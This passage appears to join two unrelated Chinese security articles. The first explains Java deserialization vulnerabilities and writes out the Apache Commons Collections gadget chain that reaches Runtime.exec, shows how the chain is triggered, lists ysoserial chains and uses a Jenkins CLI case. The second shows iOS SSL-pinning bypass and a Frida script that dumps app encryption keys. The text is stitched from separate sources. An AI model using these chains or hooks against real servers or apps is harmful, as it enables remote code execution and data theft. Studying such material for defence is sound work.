private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
}
private Object readResolve() {
return new SerializationReplacementClass("resolve");
}
private SerializationReplacementClass(String s) {
this.replacementField = s;
}
public SerializationReplacementClass() {
this.replacementField = "replace";
}
}
public class SerializationDemo implements Serializable {
// omit
private Object writeReplace() {
return new SerializationReplacementClass();
}
// omit
public static void main(String[] args) throws ClassNotFoundException {
// omit
SerializationReplacementClass demo = (SerializationReplacementClass) in.readObject();
}
}
从序列化之后得到的二进制串中可以看到目标对象已经被替换成了`SerializationReplacementClass`：
ac ed 00 05 73 72 00 1d 53 65 72 69 61 6c 69 7a ....sr.. Serializ
61 74 69 6f 6e 52 65 70 6c 61 63 65 6d 65 6e 74 ationRep lacement
43 6c 61 73 73 32 71 ac e9 c1 d3 0b 7b 02 00 01 Class2q. ....{...
4c 00 10 72 65 70 6c 61 63 65 6d 65 6e 74 46 69 L..repla cementFi
65 6c 64 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 eldt..Lj ava/lang
2f 53 74 72 69 6e 67 3b 78 70 74 00 07 72 65 70 /String; xpt..rep
6c 61 63 65 lace
而在反序列化之后得到的对象的`replacementField`字段值则为`resolve`，但在此之前`readObject()`也会被正常调用，当时`replacementField`字段值为`replace`。
### 关于`Externalizable`
`Serializable`接口还有一个比较常见的子类`Externalizable`，它比它爸爸特殊的地方就在于它需要自己实现读写方法
_（`readExternal()`和`writeExternal()`）_ ，同时必须包含一个自己的无参构造方法 _（默认隐式的也可以）_ 。
仍以示例说话：
public class ExternalizationDemo implements Externalizable {
private String stringField;
private int intField;
@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeUTF(this.stringField);
out.writeInt(this.intField);
}
@Override
public void readExternal(ObjectInput in) throws IOException {
this.stringField = "hello, i'm " + in.readUTF();
this.intField = in.readInt() + 100000;
}
public ExternalizationDemo(String s, int i) {
this.stringField = s;
this.intField = i;
}
public ExternalizationDemo() {}
}
序列化之后得到的二进制串如下：
ac ed 00 05 73 72 00 13 45 78 74 65 72 6e 61 6c ....sr.. External
69 7a 61 74 69 6f 6e 44 65 6d 6f d9 a9 04 75 84 izationD emo...u.
5d 06 8f 0c 00 00 78 70 77 0b 00 05 67 79 79 79 ].....xp w...gyyy
79 00 01 7d f1 78 y..}.x
与`Serializable`的区别：
* 对象的序列化属性标志位为`0x0c`，包括`Serializable`和Block Data的标志
* 序列化类的字段个数固定为0
* 序列化调用`writeExternalData()`转给类自定义的写方法，将写入的数据包装在新的Block Data块中，第一个字节为块长度 _（不含块头尾标识）_
* 反序列化调用`readExternalData()`转给类自定义的读方法，再调用对象的无参构造方法 _（若不存在，则返回`null`）_ 进行实例化
## 反序列化漏洞
通过以上对Java的序列化机制的大致了解，我们可以想象一个场景 _（有基础的同学可以跳过本部分内容，当然，看一看也没坏处）_ ：
> 当服务端允许接收远端数据进行反序列化时，客户端可以提供任意一个服务端存在的对象 _（包括依赖包中的对象）_
> 的序列化二进制串，由服务端反序列化成相应对象。如果该对象是由攻击者『精心构造』的恶意对象，而它自定义的`readObject()`中存在着一些『不安全』的逻辑，那么在对它反序列化时就有可能出现安全问题。
说到这，我提三个问题，请大家跟着我的思路去分析，先来看看第一个：
1. 为什么需要依赖反序列化对象的自定义`readObject()`？
大家都知道，正常来说，反序列化只是一个对象实例化然后赋值的过程，如果之后不主动调用它的内部方法，理论上最多只能控制它字段的值而已。那么有没有什么办法能够让它执行反序列化以外的逻辑呢？毕竟做的越多中间产生问题的概率就越大。
我们还是先以大家更熟悉的PHP来举个例。在PHP内部，保留了十多个被称为魔术方法的类方法，这些魔术方法一般会伴随着类的生命周期被PHP底层自动调用，用户可以在类中显式定义它们的逻辑。
就拿与反序列化关系最密切的`__wakeup()`来说，我们回到最初的那个类`SerializationDemo`，给它加一点东西：
class SerializationDemo {
public function __wakeup() {
echo $this->stringField;
}
}
在反序列化`SerializationDemo`这个对象时，就会调用`__wakeup()`执行里面的逻辑。示例中的逻辑只是输出一个字符串，如果改成`exec($this->stringField);`呢？
实际当然不会这么简单，有可能它是把自己的字段作为值作为参数调用了某个类的方法，而那个方法里对参数做了某些不安全的操作，甚至有可能经过多个类多个方法调用，形成一个调用链。
这就是默认的反序列化逻辑的一个逃逸过程。
到这里你可能已经想到了，Java反序列化中`readObject()`的作用其实就相当于PHP反序列化中的那些魔术方法，使反序列化过程在一定程度上受控成为可能，但也只是可能而已，是否真的可控，还是需要分析每个对象的`readObject()`具体是如何实现的
_（别急，后面有章节会有详细介绍）_ 。
接着看第二个问题：
1. 反序列化对象的非`Serializable`父类无参构造方法是否能像PHP中的`__construct()`一样被利用？
答案应该是不行的。因为前面已经提到过，我们只能够控制反序列化对象的字段值，而Java与PHP不同的是，JDK底层会先调用无参构造方法实例化，再读取序列化的字段数据赋值，所以我们没有办法将可控的字段值在实例化阶段传入构造方法中对其内部逻辑产生影响。
最后一个：
1. `readResolve()`对反序列化漏洞有什么影响？
`readResolve()`只是替换反序列化结果对象，若是结果对象本身存在安全问题，它有可能让问题中断；若是`readObject()`存在安全问题，它无法避免。
### 经典的Apache Commons Collections
好，有了上面的基础，我们也照一回惯例，带大家一起分析一下Java历史上最出名也是最具代表性的Apache Commons
Collections反序列化漏洞。
网上很多文章都是以WebLogic为漏洞环境，我们尊重开源，围绕1.637版本的Jenkins来开个头，先简单看看它的Cli组件的反序列化场景
_（这里只以CLI-connect协议为例，CLI2-connect会多出来一个SSL加解密的过程，这也是很多公开PoC在模拟Cli握手时选择CLI-connect协议的原因）_ ：
1. 客户端向发送一个UTF8字符串`Protocol:CLI-connect`，前两位为字符串长度
2. 服务端`TcpSlaveAgentListener`在接收到数据之后，会创建一个`ConnectionHandler`对象读取一个UTF8字符串，判断协议版本，交给对应的协议进行处理
* `CliProtocol`响应`Welcome`字符串，由`ChannelBuilder`为两端创建一个包含了`Connection`对象 _（IO流对象在里面）_ 的`Channel`通信通道，并调用`negotiate()`进行交互
* `Capability.writePreamble()`响应序列化后的`Capability`对象，其中使用`Mode.TEXT.wrap()`将输出流包装为`BinarySafeStream`，它会在写时进行Base64编码
* 由于`ChannelBuilder`在build之前，调用了`withMode()`设置`mode`为`Mode.BINARY`，因此还会响应一个`0x00000000`
* 等待接收后续数据，判断数据内容前缀为`Capability.PREAMBLE` _（`<===[JENKINS REMOTING CAPACITY]===>`）_ 时，将`InputStream`传给`Capability.read()`
* `Capability`同样会对输入流做一次`BinarySafeStream`包装，保证在读数据时解码得到原始二进制数据，再扔给输入流的`readObject()`继续读
回看`Connection`中自定义的`readObject()`，是一个普普通通的`ObjectInputStream`反序列化：
public <T> T readObject() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(in);
return (T)ois.readObject();
}
现在我们假设已知1.637版本的Jenkins引用了存在反序列化漏洞的Commons
Collections的版本的Jar包，那么只需要利用它构造一个恶意对象的序列化串，在与Jenkins
Cli完成握手之后，将其Base64编码后的字符串发送过去就行了 _（当然，千万别忘了前面那串酷酷的前缀）_ 。
### Payload构造
好的，现在让我们聚焦到Commons Collections内部，看看前辈们是如何利用它来让应用『产生』问题的。
我们先预备一个基本知识，在Java中，若想通过其原生JDK提供的接口执行系统命令，最常见的语句如下：
Runtime rt = Runtime.getRuntime();
rt.exec(cmd);
很简单，一个单例模式的方法获取到`Runtime`的实例，再调用它的`exec()`执行命令。在表达式注入类RCE漏洞中也可以频繁看到利用各种条件特性来构造这段语句的身影，比如Struts2的OGNL：
@java.lang.Runtime@getRuntime().exec(cmd)
又比如Spring的SpEL：
T(java.lang.Runtime).getRuntime().exec(cmd)
这里替小白问个基础但又和接下来的内容有关的问题：为什么都要使用链式结构？
原因其实很简单，因为无论是表达式解析执行还是反序列化时，底层通过反射技术获取对象调用函数都会存在一个上下文环境，使用链式结构的语句可以保证执行过程中这个上下文是一致的。你也可以换个方式问自己，如果你第一次请求`Runtime.getRuntime()`，那如何保证第二次请求`rt.exec()`能够拿到第一次的`Runtime`对象呢？
了解了这个问题之后，我们就可以开始尝试用Commons Collections先来构造这个链式结构了。
前辈们为我们在Commons Collections中找到了一个用于对象之间转换的`Transformer`接口，它有几个我们用得着的实现类：
1. `ConstantTransformer`
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
2. `InvokerTransformer`
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
// omit
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
// omit
}
3. `ChainedTransformer`
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
利用这几个对象，可以构造出下面这条链：
Transformer[] trans = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};
Transformer chain = new ChainedTransformer(trans);
其中，数组的中间两个元素是最让人费解的，我们一句一句来解释
_（前方高能预警，请对照上面几个`Transformer`的逻辑仔细看，接下来的内容网上有些解释是存在出入的）_ ：
1. 构造一个`ConstantTransformer`，把`Runtime`的`Class`对象传进去，在`transform()`时，始终会返回这个对象
2. 构造一个`InvokerTransformer`，待调用方法名为`getMethod`，参数为`getRuntime`，在`transform()`时，传入1的结果，此时的`input`应该是`java.lang.Runtime`，但经过`getClass()`之后，`cls`为`java.lang.Class`，之后`getMethod()`只能获取`java.lang.Class`的方法，因此才会定义的待调用方法名为`getMethod`，然后其参数才是`getRuntime`，它得到的是`getMethod`这个方法的`Method`对象，`invoke()`调用这个方法，最终得到的才是`getRuntime`这个方法的`Method`对象
3. 构造一个`InvokerTransformer`，待调用方法名为`invoke`，参数为空，在`transform()`时，传入2的结果，同理，`cls`将会是`java.lang.reflect.Method`，再获取并调用它的`invoke`方法，实际上是调用上面的`getRuntime()`拿到`Runtime`对象
4. 构造一个`InvokerTransformer`，待调用方法名为`exec`，参数为命令字符串，在`transform()`时，传入3的结果，获取`java.lang.Runtime`的`exec`方法并传参调用
5. 最后把它们组装成一个数组全部放进`ChainedTransformer`中，在`transform()`时，会将前一个元素的返回结果作为下一个的参数，刚好满足需求
既然第2、3步这么绕，我们又知道了为什么，是不是可以考虑用下面这种逻辑更清晰的方式来构造呢：
Transformer[] trans = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("getRuntime", new Class[0], new Object[0]),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};
答案是不行的。虽然单看整个链，无论是定义还是执行都是没有任何问题的，但是在后续序列化时，由于`Runtime.getRuntime()`得到的是一个对象，这个对象也需要参与序列化过程，而`Runtime`本身是没有实现`Serializable`接口的，所以会导致序列化失败。
也有同学可能看过ysoserial构造的Payload，它的习惯是先定义一个包含『无效』`Transformer`的`ChainedTransformer`，等所有对象装填完毕之后再利用反射将实际的数组放进去。这么做的原因作者也在一个[Issue](https://github.com/frohoff/ysoserial/issues/32)中给了解释，我们直接看原文：
> Generally any reflection at the end of gadget-chain set up is done to "arm"
> the chain because constructing it while armed can result in premature
> "detonation" during set-up and cause it to be inert when serialized and
> deserialized by the target application.
现在，有了这条`Transformer`链，就等着谁来执行它的`transform()`了。
网上流传的示例很多都是使用一个名为`TransformedMap`的装饰器来触发`transform()`，它在装饰时会传入原始`Map`、一个键转换器`Transformer`和一个值转换器`Transformer`，而它的父类在内部实现了一个`AbstractMapEntryDecorator`的子类，会在`setValue()`前调用`checkSetValue()`进行检查，而`TransformedMap.checkSetValue()`会调用它的值转换器的`transform()`，因此装饰任意一个有元素的`Map`就可以满足需求：
Map m = TransformedMap.decorate(new HashMap(){{ put("value", "anything"); }}, null, chain);
这时，我们只需要再找一个包含可控`Map`字段，并会在反序列化时对这个`Map`进行`setValue()`或`get()`操作的公共对象。
幸运的是，前辈们在JDK较早的版本中发现了`AnnotationInvocationHandler`这个对象
_（较新版本的JDK可以使用`BadAttributeValueExpException`，在这里就不展开了）_
，它在初始化时可以传入一个`Map`类型参数赋值给字段`memberValues`，`readObject()`过程中如果满足一定条件就会对`memberValues`中的元素进行`setValue()`：
private void readObject(java.io.ObjectInputStream s)
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
可以看到，在遍历`memberValues.entrySet()`时，会用键名在`memberTypes`中尝试获取一个`Class`，并判断它是否为`null`，这就是刚才说的需要满足的条件。接下来是网上很少提到过的一个结论：
首先，`memberTypes`是`AnnotationType`的一个字段，里面存储着`Annotation`接口声明的方法信息
_（键名为方法名，值为方法返回类型）_
。因此，我们在获取`AnnotationInvocationHandler`实例时，需要传入一个方法个数大于0的`Annotation`子类
_（一般来说，若方法个数大于0，都会包含一个名为`value`的方法）_
，并且原始`Map`中必须存在任意以这些方法名为键名的元素，且元素值不是该方法返回类型的实例，才能顺利进入`setValue()`的流程：
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructors()[0];
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class, m);
以上是`TransformedMap`的利用构造过程。而ysoserial官方更倾向于使用`LazyMap`作为装饰器，它在装饰时会传入原始`Map`和一个`Transformer`作为工厂，当`get()`获取值时，若键不存在，就会调用工厂的`transform()`创建一个新值放入`Map`中，因此装饰任意一个空`Map`也可以满足需求：
Map m = LazyMap.decorate(new HashMap(), chain);
但与`TransformedMap`不同的是，`AnnotationInvocationHandler.readObject()`中并没有直接的对`memberTypes`执行`get()`操作，反而是在它的`invoke()`中存在`get()`，但又对方法名有一定的要求：
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
Object result = memberValues.get(member);
// omit
}
所以，ysoserial使用Java动态代理的方式处理了`LazyMap`，使`readObject()`在调用`memberValues.entrySet()`时代理进入`AnnotationInvocationHandler.invoke()`阶段，刚好方法名`entrySet`也可以顺利的跳过前面的几个判断条件，最终达到目的。这也是为什么Payload中会包含两个`AnnotationInvocationHandler`的原因。
### 修复方案
Jenkins在1.638版本的`Connection.readObject()`中，将默认的`ObjectInputStream`改为了其自定义的子类`ObjectInputStreamEx`，并传入`ClassFilter.DEFAULT`校验过滤：
public <T> T readObject() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStreamEx(in,
getClass().getClassLoader(), ClassFilter.DEFAULT);
return (T)ois.readObject();
}
`ClassFilter.DEFAULT`长这样：
public static final ClassFilter DEFAULT = new ClassFilter() {
protected boolean isBlacklisted(String name) {
if (name.startsWith("org.codehaus.groovy.runtime.")) {
return true;
} else if (name.startsWith("org.apache.commons.collections.functors.")) {
return true;
} else {
return name.contains("org.apache.xalan");
}
}
};
还是一个简简单单的黑名单。
## POP的艺术
既然反序列化漏洞常见的修复方案是黑名单，就存在被绕过的风险，一旦出现新的POP链，原来的防御也就直接宣告无效了。
所以在反序列化漏洞的对抗史中，除了有大佬不断的挖掘新的反序列化漏洞点，更有大牛不断的探寻新的POP链。
POP已经成为反序列化区别于其他常规Web安全漏洞的一门特殊艺术。
既然如此，我们就用ysoserial这个项目，来好好探究一下现在常用的这些RCE类POP中到底有什么乾坤：
* BeanShell1
* 命令执行载体：`bsh.Interpreter`
* 反序列化载体：`PriorityQueue`
* `PriorityQueue.readObject()`反序列化所有元素后，通过`comparator.compare()`进行排序，该`comparator`被代理给`XThis.Handler`处理，其`invoke()`会调用`This.invokeMethod()`从`Interpreter`解释器中解析包含恶意代码的`compare`方法并执行
* C3P0
* 命令执行载体：`bsh.Interpreter`
* 反序列化载体：`com.mchange.v2.c3p0.PoolBackedDataSource`
* `PoolBackedDataSource.readObject()`进行到父类`PoolBackedDataSourceBase.readObject()`阶段，会调用`ReferenceIndirector$ReferenceSerialized.getObject()`获取对象，其中`InitialContext.lookup()`会去加载远程恶意对象并初始化，导致命令执行，有些同学可能不太清楚远程恶意对象的长相，举个简单的例子：
public class Malicious {
public Malicious() {
java.lang.Runtime.getRuntime().exec("calc.exe");
}
}
* Clojure
* 命令执行载体：`clojure.core$comp$fn__4727`
* 反序列化载体：`HashMap`
* `HashMap.readObject()`反序列化各元素时，通过它的`hashCode()`得到hash值，而`AbstractTableModel$ff19274a.hashCode()`会从`IPersistentMap`中取`hashCode`键的值对象调用其`invoke()`，最终导致Clojure Shell命令字符串执行
* CommonsBeanutils1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`PriorityQueue`
* `PriorityQueue.readObject()`执行排序时，`BeanComparator.compare()`会根据`BeanComparator.property` _（值为`outputProperties`）_ 调用`TemplatesImpl.getOutputProperties()`，它在`newTransformer()`时会创建`AbstractTranslet`实例，导致精心构造的Java字节码被执行
* CommonsCollections1
* 命令执行载体：`org.apache.commons.collections.functors.ChainedTransformer`
* 反序列化载体：`AnnotationInvocationHandler`
* 见前文
* CommonsCollections2
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`PriorityQueue`
* `PriorityQueue.readObject()`执行排序时，`TransformingComparator.compare()`会调用`InvokerTransformer.transform()`转换元素，进而获取第一个元素`TemplatesImpl`的`newTransformer()`并调用，最终导致命令执行
* CommonsCollections3
* 命令执行载体：`org.apache.commons.collections.functors.ChainedTransformer`
* 反序列化载体：`AnnotationInvocationHandler`
* 除`Transformer`数组元素组成不同外，与CommonsCollections1基本一致
* CommonsCollections4
* 命令执行载体：`org.apache.commons.collections.functors.ChainedTransformer`
* 反序列化载体：`PriorityQueue`
* `PriorityQueue.readObject()`执行排序时，`TransformingComparator.compare()`会调用`ChainedTransformer.transform()`转换元素，进而遍历执行`Transformer`数组中的每个元素，最终导致命令执行
* CommonsCollections5
* 命令执行载体：`org.apache.commons.collections.functors.ChainedTransformer`
* 反序列化载体：`BadAttributeValueExpException`
* `BadAttributeValueExpException.readObject()`当`System.getSecurityManager()`为`null`时，会调用`TiedMapEntry.toString()`，它在`getValue()`时会通过`LazyMap.get()`取值，最终导致命令执行
* CommonsCollections6
* 命令执行载体：`org.apache.commons.collections.functors.ChainedTransformer`
* 反序列化载体：`HashSet`
* `HashSet.readObject()`反序列化各元素后，会调用`HashMap.put()`将结果放进去，而它通过`TiedMapEntry.hashCode()`计算hash时，会调用`getValue()`触发`LazyMap.get()`导致命令执行
* Groovy1
* 命令执行载体：`org.codehaus.groovy.runtime.MethodClosure`
* 反序列化载体：`AnnotationInvocationHandler`
* `AnnotationInvocationHandler.readObject()`在通过`memberValues.entrySet()`获取`Entry`集合，该`memberValues`被代理给`ConvertedClosure`拦截`entrySet`方法，根据`MethodClosure`的构造最终会由`ProcessGroovyMethods.execute()`执行系统命令
* Hibernate1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`HashMap`
* `HashMap.readObject()`通过`TypedValue.hashCode()`计算hash时，`ComponentType.getPropertyValue()`会调用`PojoComponentTuplizer.getPropertyValue()`获取到`TemplatesImpl.getOutputProperties`方法并调用导致命令执行
* Hibernate2
* 命令执行载体：`com.sun.rowset.JdbcRowSetImpl`
* 反序列化载体：`HashMap`
* 执行过程与Hibernate1一致，但Hibernate2并不是传入`TemplatesImpl`执行系统命令，而是利用`JdbcRowSetImpl.getDatabaseMetaData()`调用`connect()`连接到远程RMI
* JBossInterceptors1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`org.jboss.interceptor.proxy.InterceptorMethodHandler`
* `InterceptorMethodHandler.readObject()`在`executeInterception()`时，会根据`SimpleInterceptorMetadata`拿到`TemplatesImpl`放进`ArrayList`中，并传入`SimpleInterceptionChain`进行初始化，它在调用`invokeNextInterceptor()`时会导致命令执行
* JSON1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`HashMap`
* `HashMap.readObject()`将各元素放进`HashMap`时，会调用`TabularDataSupport.equals()`进行比较，它的`JSONObject.containsValue()`获取对象后在`PropertyUtils.getProperty()`内动态调用`getOutputProperties`方法，它被代理给`CompositeInvocationHandlerImpl`，其中转交给`JdkDynamicAopProxy.invoke()`，在`AopUtils.invokeJoinpointUsingReflection()`时会传入从`AdvisedSupport.target`字段中取出来的`TemplatesImpl`，最终导致命令执行
* JavassistWeld1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`org.jboss.weld.interceptor.proxy.InterceptorMethodHandler`
* 除JBoss部分包名存在差异外，与JBossInterceptors1基本一致
* Jdk7u21
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`LinkedHashSet`
* `LinkedHashSet.readObject()`将各元素放进`HashMap`时，第二个元素会调用`equals()`与第一个元素进行比较，它被代理给`AnnotationInvocationHandler`进入`equalsImpl()`，在`getMemberMethods()`遍历`TemplatesImpl`的方法遇到`getOutputProperties`进行调用时，导致命令执行
* MozillaRhino1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`BadAttributeValueExpException`
* `BadAttributeValueExpException.readObject()`调用`NativeError.toString()`时，会在`ScriptableObject.getProperty()`中进入`getImpl()`，`ScriptableObject$Slot`根据`name`获取到封装了`Context.enter`方法的`MemberBox`，并通过它的`invoke()`完成调用，而之后根据`message`调用`TemplatesImpl.newTransformer()`则会导致命令执行
* Myfaces1
* 命令执行载体：`org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression`
* 反序列化载体：`HashMap`
* `HashMap.readObject()`通过`ValueExpressionMethodExpression.hashCode()`计算hash时，会由`getMethodExpression()`调用`ValueExpression.getValue()`，最终导致EL表达式执行
* Myfaces2
* 命令执行载体：`org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression`
* 反序列化载体：`HashMap`
* 执行过程与Myfaces1一致，但Myfaces2的EL表达式并不是由使用者传入的，而是预制了一串加载远程恶意对象的表达式
* ROME
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`HashMap`
* `HashMap.readObject()`通过`ObjectBean.hashCode()`计算hash时，会在`ToStringBean.toString()`阶段遍历`TemplatesImpl`所有字段的Setter和Getter并调用，当调用到`getOutputProperties()`时将导致命令执行
* Spring1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider`
* `SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()`在调用`TypeProvider.getType()`时被代理给`AnnotationInvocationHandler`得到另一个Handler为`AutowireUtils$ObjectFactoryDelegatingInvocationHandler`的代理，之后传给`ReflectionUtils.invokeMethod()`动态调用`newTransformer`方法时被第二个代理拦截，它的`objectFactory`字段是第三个代理，因此`objectFactory.getObject()`会获得`TemplatesImpl`，最终导致命令执行
* Spring2
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider`
* `SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()`在动态调用`newTransformer`方法时，被第二个代理拦截交给`JdkDynamicAopProxy`，它在`AopUtils.invokeJoinpointUsingReflection()`时会传入从`AdvisedSupport.targetSource`字段中取出来的`TemplatesImpl`，最终导致命令执行
根据上面这些内容，我们可以得到几条简单的POP构造法则：
1. 当依赖中不存在可以执行命令的方法时，可以选择使用`TemplatesImpl`作为命令执行载体，并想办法去触发它的`newTransformer`或`getOutputProperties`方法
2. 可以作为入口的通用反序列化载体是`HashMap`、`AnnotationInvocationHandler`、`BadAttributeValueExpException`和`PriorityQueue`，它们都是依赖较少的JDK底层对象，区别如下：
* `HashMap`，可以主动触发元素的`hashCode`和`equals`方法
* `AnnotationInvocationHandler`，可以主动触发`memberValues`字段的`setValue`方法，本身也可以作为动态代理的Handler拦截如`Map.entrySet`等方法进入自己的`invoke`方法
* `BadAttributeValueExpException`，可以主动触发`val`字段的`toString`方法
* `PriorityQueue`，可以主动触发`comparator`字段的`compare`方法
## 总结
历年来，很多流行的Java组件框架都被爆出过反序列化漏洞，这已经有好多大牛们都进行过分析总结了，本文的主要目的也不在此，而是为了去深挖反序列化漏洞底层一些可能还没有被唤醒的地方。
不过有一点要切记，反序列化不止RCE。
## 参考
1. [JavaSE Document](https://docs.oracle.com/javase/8/docs/)
2. [Java OpenJDK Source Code](http://hg.openjdk.java.net/)
3. [Java OpenJDK Github Mirror](https://github.com/unofficial-openjdk/openjdk/) | 社区文章 |
# 移动应用安全基础篇——解密iOS加密数据
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
如今，在做APP安全测试的时候，越来越多的APP数据使用加密传输，一般的做法都需要去逆向APP并寻找到加解密算法。今天主要介绍一下iOS的一些逆向基础知识，教大家碰到加密数据的APP后该如何去解密。
今天主要是针对两款有不同加密方式的iOS应用，难度由低到高。
## 案例一：
首先解决挂代理抓不到包的问题
使用objection ios sslpinning disable绕过证书绑定
在登录处抓包发现，request包和response包都为加密传输：
appmon提供的scripts
hack.lu提供的scripts
通过参考github上的js脚本，改写了个较为全面的hook.js脚本:
// Intercept the CCCrypt call.
Interceptor.attach(Module.findExportByName('libcommonCrypto.dylib', 'CCCrypt'), {
onEnter: function (args) {
// Save the arguments
this.operation = args[0]
this.CCAlgorithm = args[1]
this.CCOptions = args[2]
this.keyBytes = args[3]
this.keyLength = args[4]
this.ivBuffer = args[5]
this.inBuffer = args[6]
this.inLength = args[7]
this.outBuffer = args[8]
this.outLength = args[9]
this.outCountPtr = args[10]
console.log('CCCrypt(' +
'operation: ' + this.operation +', ' +
'CCAlgorithm: ' + this.CCAlgorithm +', ' +
'CCOptions: ' + this.CCOptions +', ' +
'keyBytes: ' + this.keyBytes +', ' +
'keyLength: ' + this.keyLength +', ' +
'ivBuffer: ' + this.ivBuffer +', ' +
'inBuffer: ' + this.inBuffer +', ' +
'inLength: ' + this.inLength +', ' +
'outBuffer: ' + this.outBuffer +', ' +
'outLength: ' + this.outLength +', ' +
'outCountPtr: ' + this.outCountPtr +')')
if (this.operation == 0) {
// Show the buffers here if this an encryption operation
console.log("In buffer:")
console.log(hexdump(ptr(this.inBuffer), {
length: this.inLength.toInt32(),
header: true,
ansi: true
}))
console.log("Key: ")
console.log(hexdump(ptr(this.keyBytes), {
length: this.keyLength.toInt32(),
header: true,
ansi: true
}))
console.log("IV: ")
console.log(hexdump(ptr(this.ivBuffer), {
length: this.keyLength.toInt32(),
header: true,
ansi: true
}))
}
},
onLeave: function (retVal) {
if (this.operation == 1) {
// Show the buffers here if this a decryption operation
console.log("Out buffer:")
console.log(hexdump(ptr(this.outBuffer), {
length: Memory.readUInt(this.outCountPtr),
header: true,
ansi: true
}))
console.log("Key: ")
console.log(hexdump(ptr(this.keyBytes), {
length: this.keyLength.toInt32(),
header: true,
ansi: true
}))
console.log("IV: ")
console.log(hexdump(ptr(this.ivBuffer), {
length: this.keyLength.toInt32(),
header: true,
ansi: true
}))
}
}
})
使用frida hook CCCrypt函数
operation: 0x0代表加密，0x1代表解密，CCAlgorithm: 0x0指加密方式是kCCAlgorithmAES128，CCOptions:
0x1指模式是cbc，key=DATA_KEY20150116和iv=20150116
参阅CommonCryptor.h各参数意义
## 案例二：
在登录处抓包发现，request包和response包都为加密传输：
使用hook.js脚本发现hook不到
老方法，首先使用frida-ios-dump对该APP进行一键dump
frida-ios-dump，该工具基于frida提供的强大功能通过注入js实现内存dump
然后通过python自动拷贝到电脑生成ipa文件，通过配置完成之后真的就是一条命令砸壳。
砸壳完成后会生成ipa文件，我们解压缩然后使用IDA加载完二进制文件
然后在String窗口搜索loginbypassword（这个是登录时的信息），搜索后进入对应的类，接下来我们进入这个类看它用了哪些方法
找到这个字符串引用的代码位置
之后双击callWebAPI:data:method:ssl:completionHandler:
找到[WebService callWebAPI:data:method:ssl:completionHandler:]
然后F5一下
浏览该类发现可以看到data等关键加密信息，接着我们尝试搜索data前面的setValue:forKey
[_priv_NBSSafeMutableDictionary setValue:forKey:]查看该类发现无结果，返回上一步重新查看加密所在的类
v87由v86 = -WebService returnDictionaryWithDataPath:返回
查看returnDictionaryWithDataPath:
v8 = +RSA encryptString:privateKey:;
v4由convertToJsonData:返回（明文）v6由AppPrivate返回（密钥）
查看密钥返回函数AppPrivate和encryptString:privateKey函数
然后使用frida进行hook
## 使用objection
ios hooking watch method “+[RSA encryptString:privateKey:]” –dump-args
ios hooking watch method “+[RSA encryptString:privateKey:]” –dump-return
直接使用objection的这两句命令可以达到同样的效果
附JS：
